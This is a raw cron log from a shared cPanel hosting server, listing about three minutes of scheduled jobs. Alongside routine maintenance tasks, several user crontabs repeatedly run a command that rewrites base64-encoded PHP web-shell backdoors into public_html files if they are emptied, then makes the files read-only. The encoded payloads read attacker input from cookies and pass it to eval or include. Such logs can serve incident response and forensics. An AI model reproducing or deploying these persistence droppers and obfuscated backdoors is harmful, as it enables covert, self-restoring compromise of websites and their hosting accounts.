Jun  7 14:25:01 medusa CROND[4797]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:25:01 medusa CROND[4796]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:25:01 medusa CROND[4800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:25:01 medusa CROND[4798]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:25:01 medusa CROND[4799]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:25:01 medusa CROND[4801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:25:01 medusa CROND[4805]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:25:01 medusa CROND[4814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:25:01 medusa CROND[4816]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:25:01 medusa CROND[4818]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:25:01 medusa CROND[4813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:25:01 medusa CROND[4819]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:25:01 medusa CROND[4817]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:25:01 medusa CROND[4822]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:25:01 medusa CROND[4825]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Jun  7 14:25:01 medusa CROND[4829]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:25:01 medusa CROND[4839]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:25:01 medusa CROND[4840]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:26:01 medusa CROND[7110]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:26:01 medusa CROND[7115]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:26:01 medusa CROND[7116]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:26:01 medusa CROND[7117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:26:01 medusa CROND[7118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:26:01 medusa CROND[7119]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:26:01 medusa CROND[7120]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:26:01 medusa CROND[7121]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:26:01 medusa CROND[7123]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:26:01 medusa CROND[7126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:26:01 medusa CROND[7127]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:26:01 medusa CROND[7134]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:26:01 medusa CROND[7135]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:26:01 medusa CROND[7137]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:27:01 medusa CROND[8885]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:27:01 medusa CROND[8927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:27:01 medusa CROND[8929]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:27:01 medusa CROND[8930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:27:01 medusa CROND[8931]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:27:01 medusa CROND[8932]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
